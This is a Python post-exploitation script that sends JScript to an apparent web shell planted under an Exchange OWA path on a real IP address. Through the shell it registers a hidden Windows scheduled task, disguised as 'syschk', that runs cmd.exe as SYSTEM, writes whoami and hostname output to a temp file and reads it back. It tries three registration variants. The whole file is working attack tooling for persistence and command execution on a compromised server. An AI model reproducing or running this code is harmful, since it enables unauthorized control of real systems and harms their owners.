#!/usr/bin/env python3
import requests, time
requests.packages.urllib3.disable_warnings()
EVAL = "https://103.167.140.144/owa/auth/mdcajy.aspx"

def ev(code):
    try:
        r = requests.post(EVAL, data={"exec_code": code}, verify=False, timeout=50)
        return r.text.split('!BD')[0][:400]
    except Exception as e:
        return f"EXC:{type(e).__name__}:{str(e)[:120]}"

xml = ('<?xml version="1.0" encoding="UTF-16"?>'
 '<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">'
 '<RegistrationInfo><Description>syschk</Description></RegistrationInfo>'
 '<Triggers><TimeTrigger><StartBoundary>2026-09-22T00:00:00</StartBoundary><Enabled>true</Enabled></TimeTrigger></Triggers>'
 '<Principals><Principal id="Author"><RunLevel>HighestAvailable</RunLevel><UserId>S-1-5-18</UserId></Principal></Principals>'
 '<Settings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>'
 '<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable>'
 '<Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT5M</ExecutionTimeLimit></Settings>'
 '<Actions Context="Author"><Exec><Command>C:\\Windows\\System32\\cmd.exe</Command>'
 '<Arguments>/c whoami &amp; hostname &gt; C:\\Windows\\Temp\\o6.txt 2&gt;&amp;1</Arguments></Exec></Actions></Task>')

variants = [
 ("A_logon5_empty", "root.RegisterTaskDefinition('SysChkA',x,6,'','',5)"),
 ("B_logon3_empty", "root.RegisterTaskDefinition('SysChkB',x,6,'','',3)"),
 ("C_logon5_noUser", "root.RegisterTaskDefinition('SysChkC',x,6)"),
]
for name, call in variants:
    code = ("try{var svc=new ActiveXObject('Schedule.Service');svc.Connect();var root=svc.GetFolder('\\\\');"
            "var x='" + xml + "';"
            "var t=" + call + ";Response.Write('OK:'+t.Name);"
            "}catch(e){Response.Write('ERR:'+e.message);}")
    print(f"[{name}]", repr(ev(code)), flush=True)
    time.sleep(1)
time.sleep(10)
rd = 'Response.Write("OUT:"+(System.IO.File.Exists("C:\\\\Windows\\\\Temp\\\\o6.txt")?System.IO.File.ReadAllText("C:\\\\Windows\\\\Temp\\\\o6.txt"):"none"));'
print("[read]", repr(ev(rd)), flush=True)